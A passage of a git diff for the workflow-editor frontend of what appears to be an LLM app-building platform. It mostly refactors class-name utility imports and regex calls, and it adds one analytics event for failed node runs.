 import type { TriggerWithProvider } from '@/app/components/workflow/block-selector/types'
 import type { CredentialFormSchemaSelect } from '@/app/components/header/account-setting/model-provider-page/declarations'
diff --git a/web/app/components/workflow/nodes/_base/components/variable/var-reference-vars.tsx b/web/app/components/workflow/nodes/_base/components/variable/var-reference-vars.tsx
index ced4b7c65f..8461f0e5f6 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/var-reference-vars.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/var-reference-vars.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useEffect, useMemo, useRef, useState } from 'react'
 import { useHover } from 'ahooks'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { type NodeOutPutVar, type ValueSelector, type Var, VarType } from '@/app/components/workflow/types'
 import { ChevronRight } from '@/app/components/base/icons/src/vender/line/arrows'
 import {
diff --git a/web/app/components/workflow/nodes/_base/components/variable/var-type-picker.tsx b/web/app/components/workflow/nodes/_base/components/variable/var-type-picker.tsx
index f394fa96b8..fa2b9c1d6a 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/var-type-picker.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/var-type-picker.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useCallback, useState } from 'react'
 import { RiArrowDownSLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-icon.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-icon.tsx
index 93f47f794a..b97287da1e 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-icon.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-icon.tsx
@@ -1,5 +1,5 @@
 import { memo } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useVarIcon } from '../hooks'
 import type { VarInInspectType } from '@/types/workflow'
 
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-label.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-label.tsx
index a8acda7e2c..3eb31ae5e0 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-label.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-label.tsx
@@ -9,7 +9,7 @@ import { useVarColor } from '../hooks'
 import VariableNodeLabel from './variable-node-label'
 import VariableIcon from './variable-icon'
 import VariableName from './variable-name'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 import { isConversationVar, isENV, isGlobalVar, isRagVariableVar } from '../../utils'
 
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-name.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-name.tsx
index f656b780a5..ea1ee539ed 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-name.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/base/variable-name.tsx
@@ -1,6 +1,6 @@
 import { memo } from 'react'
 import { useVarName } from '../hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type VariableNameProps = {
   variables: string[]
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-icon-with-color.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-icon-with-color.tsx
index 56d6c3738e..793f6a93e5 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-icon-with-color.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-icon-with-color.tsx
@@ -2,7 +2,7 @@ import { memo } from 'react'
 import VariableIcon from './base/variable-icon'
 import type { VariableIconProps } from './base/variable-icon'
 import { useVarColor } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type VariableIconWithColorProps = {
   isExceptionVariable?: boolean
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-editor.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-editor.tsx
index fa5ae57f91..05774e59c2 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-editor.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-editor.tsx
@@ -2,7 +2,7 @@ import { memo } from 'react'
 import type { VariablePayload } from './types'
 import VariableLabel from './base/variable-label'
 import { useVarBgColorInEditor } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type VariableLabelInEditorProps = {
   isSelected?: boolean
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-node.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-node.tsx
index cebe140e26..db3484affa 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-node.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-node.tsx
@@ -1,7 +1,7 @@
 import { memo } from 'react'
 import type { VariablePayload } from './types'
 import VariableLabel from './base/variable-label'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const VariableLabelInNode = (variablePayload: VariablePayload) => {
   return (
diff --git a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-text.tsx b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-text.tsx
index dd0d6fcf8b..eb66943fbc 100644
--- a/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-text.tsx
+++ b/web/app/components/workflow/nodes/_base/components/variable/variable-label/variable-label-in-text.tsx
@@ -1,7 +1,7 @@
 import { memo } from 'react'
 import type { VariablePayload } from './types'
 import VariableLabel from './base/variable-label'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const VariableLabelInText = (variablePayload: VariablePayload) => {
   return (
diff --git a/web/app/components/workflow/nodes/_base/components/workflow-panel/index.tsx b/web/app/components/workflow/nodes/_base/components/workflow-panel/index.tsx
index bcc108daa7..309b88ffe2 100644
--- a/web/app/components/workflow/nodes/_base/components/workflow-panel/index.tsx
+++ b/web/app/components/workflow/nodes/_base/components/workflow-panel/index.tsx
@@ -44,7 +44,7 @@ import { useAllBuiltInTools } from '@/service/use-tools'
 import { useAllTriggerPlugins } from '@/service/use-triggers'
 import { FlowType } from '@/types/common'
 import { canFindTool } from '@/utils'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
 import {
   RiCloseLine,
diff --git a/web/app/components/workflow/nodes/_base/components/workflow-panel/trigger-subscription.tsx b/web/app/components/workflow/nodes/_base/components/workflow-panel/trigger-subscription.tsx
index 811516df3d..52c6d4fe18 100644
--- a/web/app/components/workflow/nodes/_base/components/workflow-panel/trigger-subscription.tsx
+++ b/web/app/components/workflow/nodes/_base/components/workflow-panel/trigger-subscription.tsx
@@ -2,7 +2,7 @@ import type { SimpleSubscription } from '@/app/components/plugins/plugin-detail-
 import { CreateButtonType, CreateSubscriptionButton } from '@/app/components/plugins/plugin-detail-panel/subscription-list/create'
 import { SubscriptionSelectorEntry } from '@/app/components/plugins/plugin-detail-panel/subscription-list/selector-entry'
 import { useSubscriptionList } from '@/app/components/plugins/plugin-detail-panel/subscription-list/use-subscription-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FC } from 'react'
 
 type TriggerSubscriptionProps = {
diff --git a/web/app/components/workflow/nodes/_base/hooks/use-one-step-run.ts b/web/app/components/workflow/nodes/_base/hooks/use-one-step-run.ts
index 77d75ccc4f..dad62ae2a4 100644
--- a/web/app/components/workflow/nodes/_base/hooks/use-one-step-run.ts
+++ b/web/app/components/workflow/nodes/_base/hooks/use-one-step-run.ts
@@ -68,6 +68,7 @@ import {
   useAllMCPTools,
   useAllWorkflowTools,
 } from '@/service/use-tools'
+import { trackEvent } from '@/app/components/base/amplitude'
 
 // eslint-disable-next-line ts/no-unsafe-function-type
 const checkValidFns: Partial<Record<BlockEnum, Function>> = {
@@ -973,6 +974,7 @@ const useOneStepRun = <T>({
                   _singleRunningStatus: NodeRunningStatus.Failed,
                 },
               })
+              trackEvent('workflow_run_failed', { workflow_id: flowId, node_id: id, reason: res.error, node_type: data?.type })
             },
           },
         )
diff --git a/web/app/components/workflow/nodes/_base/node.tsx b/web/app/components/workflow/nodes/_base/node.tsx
index e19ce6ece0..263732cd70 100644
--- a/web/app/components/workflow/nodes/_base/node.tsx
+++ b/web/app/components/workflow/nodes/_base/node.tsx
@@ -38,7 +38,7 @@ import ErrorHandleOnNode from './components/error-handle/error-handle-on-node'
 import RetryOnNode from './components/retry/retry-on-node'
 import AddVariablePopupWithPosition from './components/add-variable-popup-with-position'
 import EntryNodeContainer, { StartNodeTypeEnum } from './components/entry-node-container'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockIcon from '@/app/components/workflow/block-icon'
 import Tooltip from '@/app/components/base/tooltip'
 import useInspectVarsCrud from '@/app/components/workflow/hooks/use-inspect-vars-crud'
diff --git a/web/app/components/workflow/nodes/agent/components/tool-icon.tsx b/web/app/components/workflow/nodes/agent/components/tool-icon.tsx
index 8e6993a78d..0d2be2bee4 100644
--- a/web/app/components/workflow/nodes/agent/components/tool-icon.tsx
+++ b/web/app/components/workflow/nodes/agent/components/tool-icon.tsx
@@ -1,6 +1,6 @@
 import Tooltip from '@/app/components/base/tooltip'
 import Indicator from '@/app/components/header/indicator'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { memo, useMemo, useRef, useState } from 'react'
 import { useAllBuiltInTools, useAllCustomTools, useAllMCPTools, useAllWorkflowTools } from '@/service/use-tools'
 import { getIconFromMarketPlace } from '@/utils/get-icon'
@@ -60,9 +60,7 @@ export const ToolIcon = memo(({ providerName }: ToolIconProps) => {
     disabled={!notSuccess}
   >
     <div
-      className={classNames(
-        'relative',
-      )}
+      className={cn('relative')}
       ref={containerRef}
     >
       <div className="flex size-5 items-center justify-center overflow-hidden rounded-[6px] border-[0.5px] border-components-panel-border-subtle bg-background-default-dodge">
@@ -73,19 +71,15 @@ export const ToolIcon = memo(({ providerName }: ToolIconProps) => {
             return <img
               src={icon}
               alt='tool icon'
-              className={classNames(
-                'size-3.5 h-full w-full object-cover',
-                notSuccess && 'opacity-50',
-              )}
+              className={cn('size-3.5 h-full w-full object-cover',
+                notSuccess && 'opacity-50')}
               onError={() => setIconFetchError(true)}
             />
           }
           if (typeof icon === 'object') {
             return <AppIcon
-              className={classNames(
-                'size-3.5 h-full w-full object-cover',
-                notSuccess && 'opacity-50',
-              )}
+              className={cn('size-3.5 h-full w-full object-cover',
+                notSuccess && 'opacity-50')}
               icon={icon?.content}
               background={icon?.background}
             />
diff --git a/web/app/components/workflow/nodes/assigner/components/operation-selector.tsx b/web/app/components/workflow/nodes/assigner/components/operation-selector.tsx
index dbb1fbff77..986a1b034b 100644
--- a/web/app/components/workflow/nodes/assigner/components/operation-selector.tsx
+++ b/web/app/components/workflow/nodes/assigner/components/operation-selector.tsx
@@ -4,7 +4,7 @@ import {
   RiArrowDownSLine,
   RiCheckLine,
 } from '@remixicon/react'
-import classNames from 'classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import type { WriteMode } from '../types'
 import { getOperationItems } from '../utils'
@@ -65,12 +65,10 @@ const OperationSelector: FC<OperationSelectorProps> = ({
         onClick={() => !disabled && setOpen(v => !v)}
       >
         <div
-          className={classNames(
-            'flex items-center gap-0.5 rounded-lg bg-components-input-bg-normal px-2 py-1',
+          className={cn('flex items-center gap-0.5 rounded-lg bg-components-input-bg-normal px-2 py-1',
             disabled ? 'cursor-not-allowed !bg-components-input-bg-disabled' : 'cursor-pointer hover:bg-state-base-hover-alt',
             open && 'bg-state-base-hover-alt',
-            className,
-          )}
+            className)}
         >
           <div className='flex items-center p-1'>
             <span
@@ -98,10 +96,8 @@ const OperationSelector: FC<OperationSelectorProps> = ({
                 : (
                   <div
                     key={item.value}
-                    className={classNames(
-                      'flex items-center gap-1 self-stretch rounded-lg px-2 py-1',
-                      'cursor-pointer hover:bg-state-base-hover',
-                    )}
+                    className={cn('flex items-center gap-1 self-stretch rounded-lg px-2 py-1',
+                      'cursor-pointer hover:bg-state-base-hover')}
                     onClick={() => {
                       onSelect(item)
                       setOpen(false)
diff --git a/web/app/components/workflow/nodes/code/code-parser.ts b/web/app/components/workflow/nodes/code/code-parser.ts
index 216e13eaca..86447a06e5 100644
--- a/web/app/components/workflow/nodes/code/code-parser.ts
+++ b/web/app/components/workflow/nodes/code/code-parser.ts
@@ -10,7 +10,7 @@ export const extractFunctionParams = (code: string, language: CodeLanguage) => {
     [CodeLanguage.python3]: /def\s+main\s*\((.*?)\)/,
     [CodeLanguage.javascript]: /function\s+main\s*\((.*?)\)/,
   }
-  const match = code.match(patterns[language])
+  const match = patterns[language].exec(code)
   const params: string[] = []
 
   if (match?.[1]) {
diff --git a/web/app/components/workflow/nodes/data-source-empty/index.tsx b/web/app/components/workflow/nodes/data-source-empty/index.tsx
index 6b4e249f3b..b85cb94e95 100644
--- a/web/app/components/workflow/nodes/data-source-empty/index.tsx
+++ b/web/app/components/workflow/nodes/data-source-empty/index.tsx
@@ -5,7 +5,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import type { NodeProps } from 'reactflow'
 import { RiAddLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import BlockSelector from '@/app/components/workflow/block-selector'
 import { useReplaceDataSourceNode } from './hooks'
diff --git a/web/app/components/workflow/nodes/http/components/api-input.tsx b/web/app/components/workflow/nodes/http/components/api-input.tsx
index 000011e4cd..62ce0f15c6 100644
--- a/web/app/components/workflow/nodes/http/components/api-input.tsx
+++ b/web/app/components/workflow/nodes/http/components/api-input.tsx
@@ -8,7 +8,7 @@ import Selector from '../../_base/components/selector'
 import useAvailableVarList from '../../_base/hooks/use-available-var-list'
 import { VarType } from '../../../types'
 import type { Var } from '../../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Input from '@/app/components/workflow/nodes/_base/components/input-support-select-var'
 
 const MethodOptions = [
diff --git a/web/app/components/workflow/nodes/http/components/authorization/index.tsx b/web/app/components/workflow/nodes/http/components/authorization/index.tsx
index f12806050f..7fd811dfbc 100644
--- a/web/app/components/workflow/nodes/http/components/authorization/index.tsx
+++ b/web/app/components/workflow/nodes/http/components/authorization/index.tsx
@@ -13,7 +13,7 @@ import Modal from '@/app/components/base/modal'
 import Button from '@/app/components/base/button'
 import Input from '@/app/components/workflow/nodes/_base/components/input-support-select-var'
 import BaseInput from '@/app/components/base/input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const i18nPrefix = 'workflow.nodes.http.authorization'
 
diff --git a/web/app/components/workflow/nodes/http/components/authorization/radio-group.tsx b/web/app/components/workflow/nodes/http/components/authorization/radio-group.tsx
index fe58ce2ede..d5d12d7f34 100644
--- a/web/app/components/workflow/nodes/http/components/authorization/radio-group.tsx
+++ b/web/app/components/workflow/nodes/http/components/authorization/radio-group.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Option = {
   value: string
diff --git a/web/app/components/workflow/nodes/http/components/curl-panel.tsx b/web/app/components/workflow/nodes/http/components/curl-panel.tsx
index a5339a1f39..4b9ee56f85 100644
--- a/web/app/components/workflow/nodes/http/components/curl-panel.tsx
+++ b/web/app/components/workflow/nodes/http/components/curl-panel.tsx
@@ -75,7 +75,8 @@ const parseCurl = (curlCommand: string): { node: HttpNodeType | null; error: str
 
         // To support command like `curl -F "file=@/path/to/file;type=application/zip"`
         // the `;type=application/zip` should translate to `Content-Type: application/zip`
-        const typeMatch = value.match(/^(.+?);type=(.+)$/)
+        const typeRegex = /^(.+?);type=(.+)$/
+        const typeMatch = typeRegex.exec(value)
         if (typeMatch) {
           const [, actualValue, mimeType] = typeMatch
           value = actualValue
diff --git a/web/app/components/workflow/nodes/http/components/edit-body/index.tsx b/web/app/components/workflow/nodes/http/components/edit-body/index.tsx
index 97cc1e4575..050f54f040 100644
--- a/web/app/components/workflow/nodes/http/components/edit-body/index.tsx
+++ b/web/app/components/workflow/nodes/http/components/edit-body/index.tsx
@@ -8,7 +8,7 @@ import { BodyPayloadValueType, BodyType } from '../../types'
 import KeyValue from '../key-value'
 import useAvailableVarList from '../../../_base/hooks/use-available-var-list'
 import VarReferencePicker from '../../../_base/components/variable/var-reference-picker'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import InputWithVar from '@/app/components/workflow/nodes/_base/components/prompt/editor'
 import type { ValueSelector, Var } from '@/app/components/workflow/types'
 import { VarType } from '@/app/components/workflow/types'
diff --git a/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/index.tsx b/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/index.tsx
index 53b2dd85e2..d107520c75 100644
--- a/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/index.tsx
+++ b/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/index.tsx
@@ -5,7 +5,7 @@ import { produce } from 'immer'
 import { useTranslation } from 'react-i18next'
 import type { KeyValue } from '../../../types'
 import KeyValueItem from './item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const i18nPrefix = 'workflow.nodes.http'
 
diff --git a/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/input-item.tsx b/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/input-item.tsx
index 72e4d781fe..80c42209d6 100644
--- a/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/input-item.tsx
+++ b/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/input-item.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React, { useCallback, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import useAvailableVarList from '../../../../_base/hooks/use-available-var-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import RemoveButton from '@/app/components/workflow/nodes/_base/components/remove-button'
 import Input from '@/app/components/workflow/nodes/_base/components/input-support-select-var'
 import type { Var } from '@/app/components/workflow/types'
diff --git a/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/item.tsx b/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/item.tsx
index 73095704b0..5a27d1efa1 100644
--- a/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/item.tsx
+++ b/web/app/components/workflow/nodes/http/components/key-value/key-value-edit/item.tsx
@@ -6,7 +6,7 @@ import { produce } from 'immer'
 import type { KeyValue } from '../../../types'
 import VarReferencePicker from '../../../../_base/components/variable/var-reference-picker'
 import InputItem from './input-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { PortalSelect } from '@/app/components/base/select'
 import type { ValueSelector, Var } from '@/app/components/workflow/types'
 import { VarType } from '@/app/components/workflow/types'
diff --git a/web/app/components/workflow/nodes/http/panel.tsx b/web/app/components/workflow/nodes/http/panel.tsx
index b994910ea0..a174ff4742 100644
--- a/web/app/components/workflow/nodes/http/panel.tsx
+++ b/web/app/components/workflow/nodes/http/panel.tsx
@@ -9,7 +9,7 @@ import AuthorizationModal from './components/authorization'
 import type { HttpNodeType } from './types'
 import Timeout from './components/timeout'
 import CurlPanel from './components/curl-panel'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Switch from '@/app/components/base/switch'
 import Field from '@/app/components/workflow/nodes/_base/components/field'
 import Split from '@/app/components/workflow/nodes/_base/components/split'
diff --git a/web/app/components/workflow/nodes/if-else/components/condition-list/condition-item.tsx b/web/app/components/workflow/nodes/if-else/components/condition-list/condition-item.tsx
index 65dac6f5be..af87b70196 100644
--- a/web/app/components/workflow/nodes/if-else/components/condition-list/condition-item.tsx
+++ b/web/app/components/workflow/nodes/if-else/components/condition-list/condition-item.tsx
@@ -35,7 +35,7 @@ import type {
   Var,
 } from '@/app/components/workflow/types'
 import { VarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { SimpleSelect as Select } from '@/app/components/base/select'
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
 import BoolValue from '@/app/components/workflow/panel/chat-variable-panel/components/bool-value'
diff --git a/web/app/components/workflow/nodes/if-else/components/condition-list/condition-operator.tsx b/web/app/components/workflow/nodes/if-else/components/condition-list/condition-operator.tsx
index a2b3cb7589..1763afdfd1 100644
--- a/web/app/components/workflow/nodes/if-else/components/condition-list/condition-operator.tsx
+++ b/web/app/components/workflow/nodes/if-else/components/condition-list/condition-operator.tsx
@@ -13,7 +13,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import type { VarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 const i18nPrefix = 'workflow.nodes.ifElse'
 
 type ConditionOperatorProps = {
diff --git a/web/app/components/workflow/nodes/if-else/components/condition-list/index.tsx b/web/app/components/workflow/nodes/if-else/components/condition-list/index.tsx
index 9d8c813be4..6c03dd8412 100644
--- a/web/app/components/workflow/nodes/if-else/components/condition-list/index.tsx
+++ b/web/app/components/workflow/nodes/if-else/components/condition-list/index.tsx
@@ -17,7 +17,7 @@ import type {
   NodeOutPutVar,
   Var,
 } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ConditionListProps = {
   isSubVariable?: boolean
diff --git a/web/app/components/workflow/nodes/if-else/components/condition-number-input.tsx b/web/app/components/workflow/nodes/if-else/components/condition-number-input.tsx
index ee13894459..a13fbef011 100644
--- a/web/app/components/workflow/nodes/if-else/components/condition-number-input.tsx
+++ b/web/app/components/workflow/nodes/if-else/components/condition-number-input.tsx
@@ -15,7 +15,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import VarReferenceVars from '@/app/components/workflow/nodes/_base/components/variable/var-reference-vars'
 import type {
   NodeOutPutVar,
diff --git a/web/app/components/workflow/nodes/if-else/components/condition-wrap.tsx b/web/app/components/workflow/nodes/if-else/components/condition-wrap.tsx
index 30629307f2..e9352d154e 100644
--- a/web/app/components/workflow/nodes/if-else/components/condition-wrap.tsx
+++ b/web/app/components/workflow/nodes/if-else/components/condition-wrap.tsx
@@ -15,7 +15,7 @@ import { useGetAvailableVars } from '../../variable-assigner/hooks'
 import { SUB_VARIABLES } from '../../constants'
 import ConditionList from './condition-list'
 import ConditionAdd from './condition-add'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import { PortalSelect as Select } from '@/app/components/base/select'
 import { noop } from 'lodash-es'
diff --git a/web/app/components/workflow/nodes/iteration/add-block.tsx b/web/app/components/workflow/nodes/iteration/add-block.tsx
index 05d69caef4..e838fe560b 100644
--- a/web/app/components/workflow/nodes/iteration/add-block.tsx
+++ b/web/app/components/workflow/nodes/iteration/add-block.tsx
@@ -12,7 +12,7 @@ import {
   useNodesReadOnly,
 } from '../../hooks'
 import type { IterationNodeType } from './types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockSelector from '@/app/components/workflow/block-selector'
 import type {
   OnSelectBlock,
diff --git a/web/app/components/workflow/nodes/iteration/node.tsx b/web/app/components/workflow/nodes/iteration/node.tsx
index 59b96b1e2d..98ef98e7c4 100644
--- a/web/app/components/workflow/nodes/iteration/node.tsx
+++ b/web/app/components/workflow/nodes/iteration/node.tsx
@@ -14,7 +14,7 @@ import { IterationStartNodeDumb } from '../iteration-start'
 import { useNodeIterationInteractions } from './use-interactions'
 import type { IterationNodeType } from './types'
 import AddBlock from './add-block'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { NodeProps } from '@/app/components/workflow/types'
 import Toast from '@/app/components/base/toast'
 
diff --git a/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/hooks.tsx b/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/hooks.tsx
index 938da941bc..876c91862f 100644
--- a/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/hooks.tsx
+++ b/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/hooks.tsx
@@ -4,7 +4,7 @@ import {
   ParentChildChunk,
   QuestionAndAnswer,
 } from '@/app/components/base/icons/src/vender/knowledge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ChunkStructureEnum } from '../../types'
 import type { Option } from './type'
 
diff --git a/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/instruction/index.tsx b/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/instruction/index.tsx
index 596f7993c0..b621eaf04d 100644
--- a/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/instruction/index.tsx
+++ b/web/app/components/workflow/nodes/knowledge-base/components/chunk-structure/instruction/index.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import { AddChunks } from '@/app/components/base/icons/src/vender/knowledge'
 import Line from './line'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import { useDocLink } from '@/context/i18n'
 
diff --git a/web/app/components/workflow/nodes/knowledge-base/components/index-method.tsx b/web/app/components/workflow/nodes/knowledge-base/components/index-method.tsx
index 9a16fe7695..cf93c4191d 100644
--- a/web/app/components/workflow/nodes/knowledge-base/components/index-method.tsx
+++ b/web/app/components/workflow/nodes/knowledge-base/components/index-method.tsx
@@ -13,7 +13,7 @@ import Slider from '@/app/components/base/slider'
 import Input from '@/app/components/base/input'
 import { Field } from '@/app/components/workflow/nodes/_base/components/layout'
 import OptionCard from './option-card'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   ChunkStructureEnum,
   IndexMethodEnum,
diff --git a/web/app/components/workflow/nodes/knowledge-base/components/option-card.tsx b/web/app/components/workflow/nodes/knowledge-base/components/option-card.tsx
index 99ee0d25b5..fed53f798a 100644
--- a/web/app/components/workflow/nodes/knowledge-base/components/option-card.tsx
+++ b/web/app/components/workflow/nodes/knowledge-base/components/option-card.tsx
@@ -4,7 +4,7 @@ import {
   useMemo,
 } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Badge from '@/app/components/base/badge'
 import {
   OptionCardEffectBlue,
diff --git a/web/app/components/workflow/nodes/knowledge-base/components/retrieval-setting/search-method-option.tsx b/web/app/components/workflow/nodes/knowledge-base/components/retrieval-setting/search-method-option.tsx
index 6f260573ff..70996ddd57 100644
--- a/web/app/components/workflow/nodes/knowledge-base/components/retrieval-setting/search-method-option.tsx
+++ b/web/app/components/workflow/nodes/knowledge-base/components/retrieval-setting/search-method-option.tsx
@@ -4,7 +4,7 @@ import {
   useMemo,
 } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import WeightedScoreComponent from '@/app/components/app/configuration/dataset-config/params-config/weighted-score'
 import { DEFAULT_WEIGHTED_SCORE } from '@/models/datasets'
 import Switch from '@/app/components/base/switch'
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-date.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-date.tsx
index eda040131f..ed8192239a 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-date.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-date.tsx
@@ -7,7 +7,7 @@ import {
 } from '@remixicon/react'
 import DatePicker from '@/app/components/base/date-and-time-picker/date-picker'
 import type { TriggerProps } from '@/app/components/base/date-and-time-picker/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useAppContext } from '@/context/app-context'
 
 type ConditionDateProps = {
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-item.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-item.tsx
index a93155113e..42f3a085bc 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-item.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-item.tsx
@@ -24,7 +24,7 @@ import type {
   MetadataShape,
 } from '@/app/components/workflow/nodes/knowledge-retrieval/types'
 import { MetadataFilteringVariableType } from '@/app/components/workflow/nodes/knowledge-retrieval/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ConditionItemProps = {
   className?: string
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-operator.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-operator.tsx
index 0e0367c15e..93a078ff5d 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-operator.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-operator.tsx
@@ -14,7 +14,7 @@ import {
   PortalToFollowElemContent,
   PortalToFollowElemTrigger,
